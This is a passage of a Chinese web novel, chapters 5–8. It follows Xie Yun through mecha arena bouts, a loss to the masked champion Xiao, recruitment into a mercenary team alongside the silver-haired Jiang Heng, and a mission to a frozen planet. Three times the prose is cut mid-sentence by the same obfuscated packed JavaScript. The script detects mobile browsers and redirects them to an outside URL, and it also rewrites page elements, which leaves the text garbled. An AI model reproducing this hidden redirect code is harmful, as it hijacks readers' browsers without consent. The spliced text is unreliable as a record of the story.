可坐在办公室里的刘禹,脸色却十分阴沉。他面前的屏幕上正回放着谢筠获胜的画面,指尖捏着雪茄,烟灰积了长长一截。 原本在他的算盘里,谢筠这细皮嫩肉的样子,撑死了赢一场就得趴下,到时候来求他,他就能拿捏这小子,可没想到他居然赢了,还赢得如此精彩。 肉搏赛的三连胜,给谢筠在角斗场攒下了点名气。到了晚上的机甲擂台赛开场时,看台上的人比白天场多了近一倍。押注窗口前不再是一边倒的局面,开始有人将筹码压给谢筠。 机甲操控核心在于精神力的精准输出,驾驶员的意识与机甲核心相连,每一个指令都需要精神力的支撑。 等级越高的机甲,核心算法越精密,对精神力的消耗就越小,而D级机甲作为最基础的型号,核心粗糙,反应迟缓,不仅操作卡顿,还会疯狂吞噬精神力,长时间操控还会造成身体不适。 这类机甲已经被军部淘汰,最多用来运送物资,连战场都上不了。 也正因如此,枭能将D级机甲开出S级压制力,才被称为神话。 而谢筠的机甲擂台,也是精彩绝伦。 尽管比不上枭,但他操纵机甲的实力也已经是让人惊叹的地步了。 在所有人的不敢置信中,谢筠再次拿下了机甲擂台的三连胜。 没人想到,一个新人挑战者能在一天之内连赢六场,而且肉搏与机甲双双全胜。 那天谢筠算是在角斗场一战成名。 第二天的擂台赛还没开场,角斗场直接开放了五百人的中型场地,开场前半小时就座无虚席。 这次押注显示屏上,押谢筠赢的红线是长长的一条,数量比昨天翻了好几十倍。 角斗场有个规矩,不许使用恢复剂。 昨天的擂台赛,他虽然赢了,但也受了伤,以至于今天的每一场都打得比昨天吃力一些,精神力消耗到极限时眼前也会发黑,但这一次他依然赢了。 “谢筠!” “擂王!” “谢筠!” “擂王!” 看台上观众们拍着栏杆站起来,狂热地喊着他的名字。 两天两场三连胜的战绩,让这个昨天还被嘲讽为“小白脸”的青年,一夜之间成了角斗场的焦点。 谢筠将机甲驾驶回停放舱,再将神经接驳装置从后颈摘下,然后离开操作舱。 太阳穴突突直跳,他感觉自己可能有点发烧。 他现在只想快点回到宿舍睡一觉。 明天还有最后两场擂台赛,虽说他已经做到了刘禹所要求的赢三场,但从他决定要打擂台赛,说自己会赢开始,他就不只是要赢三场,他要的是全胜。 他希望自己站到枭对面时,对方不要轻视自己。 5. 第 5 章 精神力消耗过多,感觉自己的头也开始隐隐作痛。 谢筠一边按着太阳穴一边往宿舍走,只是走到半路的时候被刘禹的一个手下拦住了。 “刘哥让你去办公室找他。” 谢筠并不是很想去,但他没选择的余地。 在去办公室的路上,他想过好几种刘禹找自己的可能性,然而在推开办公室的门后,却发现里面站着的人并不是刘禹,而是一个穿着白色西装,带着眼镜,看起来非常斯文的男人。 “你好。”男人抬头,对他露出一个职业化的微笑:“我叫上官嘉平,是大老板的秘书。” “大老板?”谢筠感到疑惑:“不是刘哥找我吗?” 上官嘉平推了下眼镜,微笑道:“是我让刘禹叫你来的。” 传闻中的大老板也是一个神秘人物,听说是个心狠手辣的家伙,只在乎角斗场的收益,对他们这些底层员工漠不关心。 所以大老板的秘书来找他是干什么? “您找我,是有什么事呢?” 尽管角斗场是灰色产业,可是能经营这么巨大产业的老板,也绝对不是等闲之辈。 谢筠不想自己像在学院那样,又莫名其妙得罪什么人,所以态度也变得恭敬了一些。 “别紧张。” 上官嘉平脸上挂着恰到好处的温和笑容,语气平易近人得像在和他聊闲话家常,“我来找你,也是大老板的意思。是这样,老板看了你这两天的擂台,对你的实力非常认可。他认为像你这样有潜力的人,在底层打擂台太可惜了,所以想问问你,有没有兴趣换条路试试?” “我没有想一直打擂台……” 谢筠的话还没说完,就被上官嘉平打断,“你想和枭对战,这件事我们当然也是知晓的。” “我们大老板有一支拥军,里面都是实力强劲的高手。” 这两件事好像并没有关联,但谢筠没有说话,只是静静地听对方继续说下去:“大老板想邀请你加入他的拥军,我们开出的条件绝对会非常优越,当然有什么要求你也可以自己提。” 男人把一份文件递到他手里,上面是他加入拥军后能获得的利益,条件确实很优渥。 做雇佣兵的,都是常年在刀尖上讨生活,没有明确的底线。对他们来说,只要雇主给的价钱足够高,他们基本是什么事都愿意接。 不受军方约束,也不被法律保护,是游离在规则边缘的力量。 会选择做佣兵的,基本上也都是只看钱的人。 可他不只想要钱,他还想要权。 “如果我拒绝,会怎么样?”谢筠试探询问。 上官嘉平立刻道:“为什么拒绝?是我们开的条件让你不满意吗?” “不是,”谢筠摇了摇头,“是我还要回去上学。” “上学?”上官嘉平像是没料到他会这么回答,顿了一下问道:“你读哪所学院?” 谢筠答:“第一机甲学院。” 上官嘉平露出微微讶异的神情:“你是那里的学生?那怎么出来打工了?” 谢筠回道:“因为一些原因,我暂时休学了一年,等今年结束,我还要回去上学。”说着他接了一句:“而且我自己对做佣兵也不是特别感兴趣。” “原来是这样。”上官嘉平推了推眼镜说:“那你等我一下,我去问问大老板。” 谢筠点头,上官嘉平就离开了办公室。过了没多久,他就回来了。 “我和老板聊过了,我们老板他也不是喜欢强人所难的人。”上官嘉平的脸上又挂上了独属于他的职业化的微笑,语气也依旧温和。 比起刘禹那种把贪婪和恶意都明晃晃写在脸上的人,上官嘉平这种用平易近人的态度包裹着真实目的的温和,反而更让他不知道该怎么应付。 对方的微笑像带着一层的面具,你永远猜不透面具之下藏着的是试探还是算计。 “你知道极寒之星吗?”上官嘉平看着谢筠问道。 “有听说过,”谢筠回答:“但了解不多。” 他只知道极寒之星是颗尚未被人类开发的原始星球,传闻那里常年被暴风雪覆盖,气候极度恶劣,氧气也很稀薄,地表还游荡着许多凶狠的外星异兽。 “我们老板有件想要的东西,就在极寒之星。”上官嘉平微笑着缓缓道:“只是那边的环境毕竟凶险,所以老板想组织一支实力强劲的佣兵队。你不想加入老板的佣军,老板说他不会勉强。但他希望你能帮他这个忙,答应这次的任务,如果你愿意,他可以安排让你在两天后直接和枭打机甲擂台,不需要等到下个月。” “当然任务顺利完成后,老板还会支付你一笔数额不小的佣金。” 对于谢筠来说,马上能和枭打擂台的诱惑是巨大的。 更何况他其实也知道,上官嘉平嘴上说大老板不会强人所难,但他要是真拒绝了,日子肯定也就不会好过了。 “好,我答应你们。” …… 从刘禹的办公室出来后,谢筠只感觉浑身的力气都被抽空。 不过他的手里拿着一支装在长方形小盒子里的小巧针剂。 这是上官嘉平给他的高级恢复剂。 对于角斗场禁止使用恢复剂的规矩,他们这些上层领导当然可以视若无睹。 上官嘉平让他使用恢复剂恢复到最佳状态,免得给自己留下遗憾。 和枭对决,他确实想拿出最好的状态。 低着头这么想着走路时,不小心撞到了一个人。 谢筠的脚步踉跄了一下,对方还眼疾手快的伸手扶了他一把。 “谢谢,抱歉。” 他一边道谢一边道歉。一抬头,却被眼前的男人惊艳了一下。 如果不是对方那超过一米九的挺拔身形太过惹眼,脖颈处的喉结线条清晰分明,再加上贴身背心勾勒出的精壮有型的身材,谢筠几乎要把眼前的人认成女生。 只因为男人留着一头快及腰的银白色长发,发丝柔顺,在灯光下泛着细腻的光泽,随意披散着却自带一种慵懒的贵气。而他的五官精致得雌雄莫辨,明明是硬朗的骨相,组合在一起却透着种近乎妖异的漂亮。 “没关系,你没事吧?”男人讲话的声音也十分温和动听。 谢筠呆愣的摇了下头。 可能人在面对美好的事物时,都会下意识的失神吧。 回过神后他有些尴尬。 男人倒像是对这些习以为常,微微笑了一下,指着刘禹办公室的门对他说:“那我要进去了。” 应该也是去见上官嘉平吧? 不过谢筠没有窥探别人隐私的爱好,点了点头,也没等男人再说什么,转身快步离开了。 回到宿舍后,他先去洗了个澡。 当初会选这里打工,就是因为这里不但包吃包住,还给分配单人宿舍。 尽管宿舍的空间只有几平方,但还带独立卫生间,对谢筠来说,已经足够了。 洗完澡后他擦干身体坐到床上,拆出那管恢复剂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074204|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针剂只有小拇指大小,设计成这种大小是为了战士上战场时方便携带多支。 里面莹蓝色的液体看起来非常漂亮,像流动的星光。 谢筠将针剂对准手臂静脉,高级恢复剂的针头也设计的非常细小,扎入时没有任何痛感,在针头刺入皮肤后,针剂就自动流入了体内。 这是他第一次使用高级恢复剂,几乎是在液体完全注射进体内的瞬间,他就有一种神清气爽的感受。也差不多是在打完的一分钟后,他就明显感觉到先前因为精神力消耗过大的头痛开始消失,发烧产生的不适感也开始消失,身上的疼痛消失,伤口也在肉眼可见的速度下慢慢开始愈合。 原来这就是高级恢复剂的效果。 谢筠一身轻松的躺在床上,那一晚他睡得非常好。 后面两天他都不需要上班,上官嘉平给他放了假,美其名曰让他养精蓄锐。 他和枭的机甲擂台被安排在第三天的午夜。这个男人每次出现在角斗场好像都是午夜。 谢筠也没想到自己会在决斗的前一晚,紧张到直接失眠。 就连擂台赛当天白天,他也都是在忐忑和期待中度过的。 他不是怕输,是这种和可遇不可求的强者对决的机会让他太激动了。 而这种情绪尤其在见到枭驾驶着机甲站在他对面后,达到了顶峰。 肾上腺素飙升后,谢筠反而冷静下来。 角斗场最大的千人场今晚座无虚席,连过道里都挤满了站着的观众,燥热的空气里混杂着汗水、酒精和兴奋的呼喊,堪称角斗场有史以来火热的一夜。看台上的人群大致分作两派,一半是为枭而来的死忠粉,另一半则是这两天被谢筠圈粉的观众,他们眼神里满是期待,希望这个前几天连赢四场的黑马能创造奇迹。 押注窗口前的盛况更是空前。以往枭的比赛,押注比例总是一边倒。可今晚不同,押谢筠赢的筹码和押枭赢的数额竟渐渐追平,连庄家都忍不住紧张地盯着屏幕,生怕谢筠真的成了打破神话的冷门。 角斗场的擂台赛从没有视频留存的规矩,这是为了防止有心人反复研究选手的战术习惯。谢筠只看了枭两场擂台,他凭借自己的判断,在机器人裁判吹响开始的口哨后,选择主动进攻。 然而他的进攻还是落了空。 谢筠并不意外。如果他能这么轻易就触碰到枭的机甲,对方也不会被称为角斗场的神话了。 他调整呼吸,精神力再次绷紧,接连发起几次猛攻。可枭驾驶着机甲始终像一个轻盈的影子,在密集的攻击中从容闪避,动作流畅得近乎写意,仿佛谢筠的进攻不过是在给他热身。 在谢筠第七次进攻落空的瞬间,局势陡然逆转,枭的机甲忽然从防守转换成攻击,原本游移的步伐骤然加速,没有预兆,没有缓冲,D级机甲只在原地留下一道残影,下一秒已如鬼魅般出现在谢筠的机甲上空! 冰冷的脉冲光剑极速劈落,剑刃划破空气的瞬间,谢筠甚至能透过机甲传感器感受到那股几乎要将金属熔化的热浪。 他瞳孔骤缩,立刻操控机甲向后翻滚,光剑擦着肩甲劈下,“滋啦”一声,厚重的金属外壳被硬生生切开一道焦黑的缺口。 驾驶舱内响起警报,谢筠的额头沁出薄汗。 和枭真正对决上的那一秒,他忽然明白,当初他看的那场机甲赛,枭根本没拿出真实实力。 又或者,他前面都没有拿出过真实的实力。 而现在,才是他开始展露真正实力的时候。 6. 第 6 章 谢筠输了。 当脉冲光剑的剑尖抵住他机甲的核心时,机器人裁判的终止哨声恰好响起。 谢筠松开紧握操控杆的手,指节因为用力而泛白,后背早已被汗浸透,精神力透支带来的头疼让他眼前都一阵阵发黑。 他并不意外这个结果。从枭真正展露实力的那一刻起,他就知道自己赢不了的。 他已经认识到枭的实力是自己再怎么努力也超越不了的了。 可他也没有输得太难看。 谢筠低头看着机甲内屏上跳动的时间,从开始到结束,整整二十九分四十七秒。 自己应该是唯一和枭对战了如此之久的人。 这让谢筠感到有些自豪。 看台上的欢呼已经与他无关,他用最后的力气驾驶机甲回了停放舱。每副机甲的停放舱都是独立空间,舱门滑开时带着一阵轻微的气压声,谢筠几乎是爬着离开机甲内舱的。 他软着腿扶着冰冷的金属墙壁往外走,在拐过走廊拐角,看见走廊尽头站着的身影后,猛地顿住了脚步。 走廊的尽头有一道极光瀑布墙,流光溢彩,十分绚丽。 穿着黑色长风衣,戴着机械面具的男人站在瀑布旁,正面对着他的方向。 面具遮挡了男人全部的面容,谢筠不知道对方是不是正在看着自己,但心脏却不受控制地开始加速跳动,咚咚地撞着胸腔。 往常枭在打完擂台赛后就会消失,他现在出现在这里,是在……等自己吗? 谢筠的脚步不受控制的朝男人走去。 等他怀着忐忑的心情来到枭面前,想着该怎么打招呼时,枭主动开口了:“我以为你会没有力气走路。” 机械面具会将佩戴者本人的声线改变,变得瓮声瓮气的,也不会有任何情绪起伏。 尽管如此,谢筠的心跳还是因为枭的话而漏跳的半拍。 这应该是在关心自己吧? “额……勉强、勉强留了点回、回宿舍的力气。”谢筠也不知道自己为什么会突然结巴,还感觉有些不好意思。 枭的头微微低下来了一点,只是隔着机械面具,谢筠依然看不见他的神情。 男人比他高出许多,应该是超过一米九了。 如果谢筠不是从小营养不良的话,或许身高也有机会突破一米八,可惜现在只能定格在一七七了。 “挑战我,是想要得到奖金,还是想要打赢我?”瓮声瓮气的声音再次传来,带着机械的冷硬质感。 谢筠仰头看着比自己高出一个头的男人,“我是想战胜自己。” 走廊里陷入短暂的沉默。谢筠看着那副没有任何表情的机械面具,心里忽然有点发虚,自己这个回答是不是听着太天真? 刚想找补,就听枭缓缓道:“你很有实力。” 简单的六个字,却像一道电流窜过谢筠的神经。他愣了一下,原本平稳的心跳再次加快。 是因为自己仰慕他的原因吗?被男人夸赞,他竟忍不住有些飘飘然,连耳根都悄悄泛起热意。 他忍不住弯了下嘴角:“谢谢。” 然而话落,枭又陷入了长久的沉默。 谢筠仰头望着那副机械面具,男人是面对自己的,可看不见五官,就让人很难读出情绪,根本判断不出对方此刻是在看着他,还是在走神,或是在想别的事。 这种未知的停顿让他心里又泛起一丝微妙的紧张,就在他忍不住想问“怎么了”的时候,枭终于再次开口,话题却转得有些突然:“你有没有驾驶过S级机甲?” 谢筠摇了摇头。 学院是有一副S级机甲,但那副机甲只提供学生参观和探讨,不允许被驾驶。 他驾驶过的最好的机甲是学院训练型A级。而训练型机甲和战斗型机甲是有区别的,只是不进入军部,是没权利驾驶战斗型机甲的。 “等你驾驶S级机甲的时候,就不会比我差多少了。” 谢筠没想到枭对他会有这么高的评价。 就算是在擂台上和枭正面对决时,谢筠也感觉自己和男人之间隔着遥不可及的距离。那时的枭像天神一般,耀眼,强大。仿佛永远站在他够不到的高度,是只能仰望的存在。 而现在,天神降落在了他的面前。 他问出了一句头脑发热的话:“我可以理解你这次来和我打擂台,是认可我的实力吗?” “是。”枭没有否认,甚至还加了一句:“你很优秀。” 谢筠感觉自己的脸颊都在微微发烫。 从小到大,他都是那种拼尽全力去做好每一件事的孩子,一直以来也受过许多夸奖,可从来没有一次像今天这样让他欢喜,也从没有过像今天这样,让他内心产生强烈的悸动。 从小的环境让谢筠习惯了将情绪藏在心底,忍耐成了刻在骨子里的本能。可枭只是认可夸赞了他几句,却让他一时间变得有些手足无措。 他又想说谢谢了,可又觉得这时候不该只说谢谢。 枭忽然抬起手,修长的手指从黑色风衣的袖口伸出,停在谢筠面前。他的掌心摊开,里面静静躺着一个非常小巧的银色小盒子,表面刻着精致的花纹,在走廊灯光下泛着低调的光泽。 谢筠愣了一下,目光从那只骨节分明的手移到盒子上,他认出那个包装盒,因为前几天他才刚使用过,是高级恢复剂。 “给,我的吗?”谢筠受宠若惊,脱口而出问了句废话。 话一出口他就后悔了,除了给他,还能是给谁呢? 脸颊的热度还没下去,这下又添了几分窘迫。 “精神力透支会很难受。”枭只是这么回答。 “谢谢。”谢筠下意识郑重的用双手接过。 枭收回手,瓮声瓮气道:“早点休息。” 这应该是告别的话了。 谢筠莫名产生了一些不舍。 天已经微微亮起,他也没有理由让枭继续留下来。 望着枭离去的背影,谢筠不经想,他未来还会有像今天这样和对方聊天的机会吗? …… 第二天,上官嘉平就带着他去见佣军团其他的人。 佣兵团在角斗场的高层,拥有非常宽敞的休息室,房间内灯光明亮,里面或坐或站着六个男人,都穿着特制的作战服,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074205|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么在抽烟,要么在擦拭自己的武器,要么坐着聊天,而在靠窗的沙发上,那个披着银白色长发的身影格外醒目。 居然是他。 谢筠倒是没想到对方也会是佣军团的一员。 男人似乎察觉到他的目光,抬眼望过来,嘴角浮现一抹若有似无的笑意,起身朝着他们这边走过来,然后在他跟前站定,伸出白皙修长的手微笑着说:“欢迎加入。” 佣兵团每个人都是用代号称呼。 银发男人的代号是夜枭。 这个代号很难不让谢筠多想。 只是枭带着机械面具就是不愿意让人知道他的真实身份,所以谢筠也不会贸然去问夜枭是不是他所知道的那个枭。 他们的队长代号是黑鸦,这支佣军团所有人的代号好像都和鸟有关,所以谢筠就给自己取了个猫头鹰。 至于为什么取这个,是当时队长问他的时候,他只想到了这个。 不过大概因为他是临时加入的新人,且只跟这一次任务,佣军团的其他人对他态度都颇为冷淡疏远,只有夜枭对他比较友善。 这让谢筠更加忍不住多想了。 出发时间定在两天后,谢筠领到了一套深灰色的防寒作战服,面料厚实却不笨重,内衬能自动调节温度。装备包沉甸甸的,里面整齐码放着生存物资,还有武器夹层。 黑鸦简单交代了几句任务注意事项,语气生硬地让谢筠 “别拖后腿”,就挥手打发他离开。 谢筠也不多话,抱着刚领的一堆物资,转身走出了房间。 走廊里的灯光有些昏暗,刚走没几步,身后就传来轻缓的脚步声。 谢筠回头,才发现夜枭也跟了出来。 见他发现了,夜枭就快步走到他身边,微笑着开口:“要不要我帮你拿一些?” 谢筠低头看了看自己抱着的东西,看似一大推,其实重量都在可控范围内,就摇摇头说:“不用了,谢谢。” “没事,我乐于助人。” 夜枭说着,不等他拒绝,已经伸手抽走了他怀里最重的那个装备包。 对方都已经接过了,再拒绝应该就不好了。 谢筠侧头看着身边并肩而行的夜枭,忍不住多打量了几眼。 夜枭和另外那几个佣军的反差太强烈了,气质温润,总是带着点漫不经心的笑意,连握着背包带的手指都显得修长干净,整个人透着一种养尊处优的贵气,他看着更像世家公子,而非刀口舔血的佣兵。 想着想着,谢筠又开始忍不住想象对方带上机械面具的样子。 可能是他想的太入神了,盯着夜枭侧脸的目光有些出神,连对方已经停下脚步转过头来都没察觉。直到夜枭带着笑意的声音在耳边响起:“怎么了?为什么一直盯着我看?” 谢筠这才回过神,赶紧摇头说没什么,耳朵却不受控制浮现一圈薄红。 “我叫江珩。” “啊?” 夜枭突如其来的自我介绍让谢筠愣了愣。佣兵之间很少会坦诚交换真名,大多用代号相称。 江珩微微弯了弯眼角,“我知道你的名字,就想让你也知道我的名字。” 7. 第 7 章 这是谢筠第一次坐星舰。 前往极寒之星需要经历三次空间跳跃,而空间跳跃对身体素质有要求。 然而谢筠的身体素质只能算是一般,毕竟他从小是营养不良长大的。 在学院做关于空间跳跃的模拟特训的时候,每次结束他都要吐几次,不过吐完就会好很多。 虽然没经历过真正的跳跃,但他想应该问题也不大…… 未来进入战场,他也是要常常经历空间跳跃的,这次就当提前体验了。 他们这次驾驶的 A687 星舰,在当下星舰中算得上是性能与配置都近乎完美的型号。 星舰和战斗机又有区别,他在学院选修的就是飞行专业,所以对这类飞行器都有着莫大的兴趣。 在其他人还在做出行准备的时候,谢筠状似不经意的去驾驶舱逛了一圈。 结果一回头,就看见江珩笑眯眯地站在他身后。 他们这次的作战服是特制的。除了外衣,还有采用了一种会自主延伸的特殊材料的内衬。这种内衬一开始只是非常小的一片,但在接触到皮肤后便会顺着身体曲线延伸和身体紧密贴合,从肩颈到脚踝的每一寸都严丝合缝,宛如第二层皮肤般服帖。这种材料自带温控功能,能根据环境自动调节体感温度。而等后面到了极寒之星,他们会将面部也覆盖上,将氧气弹安装在特定卡槽后,这套作战服就可以持续给他们提供氧气。 内衬如果损坏,以极寒之星的恶劣环境,没人能活的了。所以作战服的外层是用来保护内衬的。 但现在他们还没有到达极寒之星。在帝星,还不需要穿上那厚实的外层。 只是作战服的内衬极度贴合肌肤,会将身体的轮廓全都清晰勾勒出来。 所以谢筠一回头,映入眼帘的先是江珩精壮有型的上半身,然后视线不自主就落到了某处让人无法忽视的部位。 当然他立刻就移开了视线,慌忙侧过身去,掩饰自己越来越红的脸颊。 该死的,自己在做什么变态的行为? 谢筠在内心唾弃自己。 江珩像是没发觉他的反常,嗓音温和道:“对驾驶星舰感兴趣?” “有一点。”谢筠也没有否认,他确实是有兴趣。 不过他们应该也不会让他驾驶的。 “这样啊。”江珩摸着下巴缓缓道:“这次过去肯定是没机会了,不过回来的话,我可以帮你说服队长,让你开一下。” “真的吗?”谢筠有些惊喜。 “这种事我还是能办到的。”江珩眨了眨眼睛。 谢筠真诚的说了声谢谢。 江珩笑道:“不要和我客气,不是说了吗,我乐于助人。” 对方是不是真的喜欢乐于助人他不知道,反正江珩确实挺照顾他的就是了。 …… 第三次空间跳跃之后,谢筠的脸色都苍白了。 真实的空间跳跃远比学院模拟舱里的体验要强烈百倍。 他记得导师曾经说过这种事经历多了就会习惯,希望导师说的是真的,而不是为了安抚他随口编的话。 他可不想未来每次都要被这种难受的感觉折磨。 距离抵达极寒之星还有一段里程,现阶段他们就不需要继续固定在座位上了。谢筠强忍着胃里的不适坐了一会儿,最终还是撑不住起身,快步走向厕所。 直到将胃里的东西全吐空,那股眩晕感才稍稍减弱。 用冷水漱了口,抬头看着镜子中的自己,眼眶泛红,鼻尖也透着不正常的红,脸色苍白得没一丝血色,整个人显得蔫蔫的,带着点狼狈的可怜。 每次身体难受时他的心情总会莫名低落。用冷水洗了把脸,刚想出去,就听见合金门板被轻轻敲响,笃笃两声,不重,却足够清晰。 “你还好吗?”江珩的声音透过门板传来。 谢筠顿了顿,伸手拉开门。 江珩就站在外面,那双总是含笑的眼睛里,此刻带着对他的关心。 “你要上厕所吗?”谢筠以为他是这个目的。 “没有啊。”江珩说着,自然地抬起手,温热的手背轻轻贴上他的额头,“是不是很难受?” 男人手背温暖的温度透过微凉的皮肤渗进来,谢筠下意识地屏住了呼吸,整个人都僵在了原地。 他很少,很少和人做这么亲近的举动。 也是在这一刻,他突然反应过来,自己为什么每次难受都会低落。是因为母亲死后,再也没有人关心过他。 “没事了……吐完就好多了。”谢筠有些不好意思的后退了一步。 江珩抬手时,作战服手臂内侧的卡槽随着轻微的机械声缓缓弹开,里面整齐排列着几支药剂。他从中抽出一支淡蓝色的基础恢复剂,递给谢筠,“没有发烧,用基础款就可以,注射一针,会舒服很多。” “不用不用。”谢筠赶紧摆手:“我自己也有,你不用给我的。” “你的数量没我多。”江珩说着,已经直接抬手将恢复剂对准了他的脖颈。 他们带的恢复剂数量都是固定的,基础款最多,高级款和进阶款等均,用来应对在极寒之星可能遇到的突发状况。 但星舰上肯定还有储备,只是这些储备,谢筠应该是分不到的。 虽说恢复剂通常都是手臂静脉注射,但打在脖颈也没有什么问题。更何况他现在裸露出来的肌肤也只有脖子以上了。 基础恢复剂的起效并不会那么快速,不过注射完恢复剂后,也让谢筠原本沉重的身体感觉轻松了一点。 “谢谢。” 在听见他的道谢后,江珩反而皱了下眉头:“从昨天到现在,你和我应该说了快有二十次的谢谢了?” 他们已经在星际航行了一天一夜。 “有……吗?”谢筠还真没这个概念,他嘴巴笨,面对江珩对自己的照顾,除了谢谢,他不知道还能说什么来表达自己的感激。 “我不希望你对我这么客气。” 江珩看着他,漂亮的眼眸里漾着一丝无奈,“把我当朋友看待,好么?” 谢筠想,应该是没人能拒绝这样温柔的江珩的。 “好。” …… 根据坐标显示,他们距离极寒之星已经不足一个星时的航程。 透过舷窗可以看见太空中漂浮着无数巨大厚实的冰状物体,通体泛着幽蓝的冷光,棱角锋利如刀,有些体积甚至比A687星舰还要大上许多倍。 还没到达极寒之星,星舰内部的温度监测仪已经开始发出细微的警报,温度数值快速降到负值,并且还在往下降。而星舰裸露在太空外的金属表面也结了一层薄薄的冰霜。 驾驶舱内,副队秃鹫操控着星舰。下一秒,星舰前端的激光发射器骤然亮起,几道炽热的光束破空而出,瞬间将迎面而来的冰状巨物击成无数细碎的冰晶。 一路扫射下,星舰顺利通过了冰石堆,而那颗被冰雪覆盖的星球,也终于展露在他们眼前。 星舰底部喷出淡蓝色的缓冲气流,随着“嗡 ——”的低沉轰鸣逐渐减弱,庞大的舰体缓缓沉降,最终稳稳落在星球的冰面上。与冰层接触的瞬间,星舰底部发出一声沉闷的撞击声,激起一圈冰屑。 外部温度监测仪的数值已经低至零下一百三十七摄氏度。透过舷窗望去,目之所及全是茫茫无际的白色冰原,天空是铅灰色的,看不到日月星辰,只有呼啸的寒风卷着冰粒,在冰面上划出一道道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢筠现在还没有睡意,他的位置就在舷窗旁边。 望着外面茫茫一片的冰原,不知道什么时候风雪也已经停止了,隔着玻璃,他觉得外面太平静了。 平静到让人觉得反常。 正在胡思乱想的时候,一只手伸了过来,手心里放着一颗包装精美的糖果。 他侧头望去,就见江珩微微笑着说:“看你盯着窗外半天了,肯定是睡不着,这个不是很甜,有助眠效果。” 等谢筠反应过来的时候,自己已经把糖果塞进嘴里了。 尽管他不想承认,但江珩像是哄小孩一样的行为,对他来说,有点受用。 也不知道是不是糖果起了作用,他很快就睡着了。 只是睡了没多久,就被星舰响起的警报声给吵醒了。 “警报警报,三号探测仪遭到破坏。” “警报警报,七号探测仪遭到破坏。” 主控台的灯光闪烁,所有人都在警报声中惊醒。 谢筠睁开眼,看见已经有人调出了全息影像。 这类探测仪都有非常好的隐蔽功能,按理来说就算它们遇到外星异兽,也能很好的隐匿起来。 事实证明,它们确实不是被异兽破坏的。 全息影像里面出现了身穿军队作战服的几个人。而探测仪最后的影像是对方手中的等离子手枪精准击碎它的画面。 那些男人的作战服上,无一例外,都带有帝星军的专属标志。 而谢筠在那些一闪而过的画面中,看见了一个让他一直以来都难以忘记的面孔。 那位帝星少将,晏斯牧! 8. 第 8 章 副队秃鹫猛地捶了下控制台,有些不爽道:“帝星军怎么也会跑到极寒之星来?” 另一个成员苍鹞接话道:“他们为什么要破坏我们的探测仪?难道是有什么不为人知的秘密?” 就在大家陷入沉思时,站在舷窗旁的江珩缓缓道:“又或许是他们和我们的目的相同呢?” 窗外的天空是一片沉闷的铅灰,连带着星舰内部的光线都显得昏沉。江珩大半身影隐匿在舱壁投下的阴影里,侧脸的轮廓模糊不清,让人看不清具体的神情。 他刚才开口时,语气只是比平时放缓了些,沉了几分,听不出太多情绪波动。可不知道为什么,谢筠望着他的背影,总觉得有什么不一样了,那是一种难以言喻的气场变化,像是原本温和的气息里,莫名多了一丝不易察觉的沉郁。 应该是他多想了吧。 他觉得自己也有点过分关注江珩了,这样不好…… 听了江珩的话,黑鸦沉思了一会儿开口道:“如果那些家伙的目的真的和我们相同,那我们可不能再等了,所有人带好装备,直接出发。” “可是老大,” 代号风隼的男人皱着眉上前一步,语气里带着犹豫,“探测仪还没传回噜噜兽的巢穴坐标,极寒之星这么大,冰原上又全是盲区,我们贸然出发,万一遭遇外星异兽或者帝星军埋伏,风险太大了吧?” 黑鸦斜睨他一眼,抬脚就给了他一脚,骂道:“风险大也得走!噜噜兽的成年母兽只有一只,要是被帝星军先找到了,凭他们的实力,我们未必能抢得过。抓不回母兽,你以为大老板会放过我们?” 风隼被踹得踉跄了一下,不敢再反驳,只能悻悻地闭嘴去检查装备。 就在这时,星舰内部突然红光爆闪,刺耳的警报声和机械女声再次响起:“警报警报!探测到异兽靠近,威胁等级二级!” 三维虚拟地图上,十来个鲜红的光点正从星舰停放点的四面八方呈包围式快速拉进。 异兽等级一共分五级,等级仅代表个体体型,不代表实力。 而二级异兽,意味着是庞然大物。 黑鸦眉头紧皱,声音在警报声中格外急促:“大雁,去驾驶一号机甲!” 话落,他的视线立刻扫向谢筠,语气不容置疑,“你,去驾驶二号。” 他们这次行动只备了两副重型机甲。谁都清楚,驾驶机甲的人通常都要冲在最前线,自然也是战斗中最凶险的位置。 舱内响起机甲启动的嗡鸣,机甲舱门正缓缓升起。谢筠在进入机甲前下意识回头看了一眼,江珩就站在他身后的不远处,无声和他对视。 其实他早就预感到自己会被派去驾驶机甲,只是他以为和自己并肩作战的会是江珩。 谢筠迅速收回视线,进入了二号机甲的驾驶舱。 “咔哒”一声,舱门重重合上。神经接驳装置贴上后颈,机甲的感官瞬间与他同步。 星舰喷着气焰开始升空,底部的闸口缓缓开启,两副机甲从闸口一跃而下,重重砸在冰面上。 “轰——”的巨响中,机甲的关节发出液压驱动的闷响。 谢筠握紧操纵杆,透过机甲传来的全息影像已经能看到远处的庞然黑影。 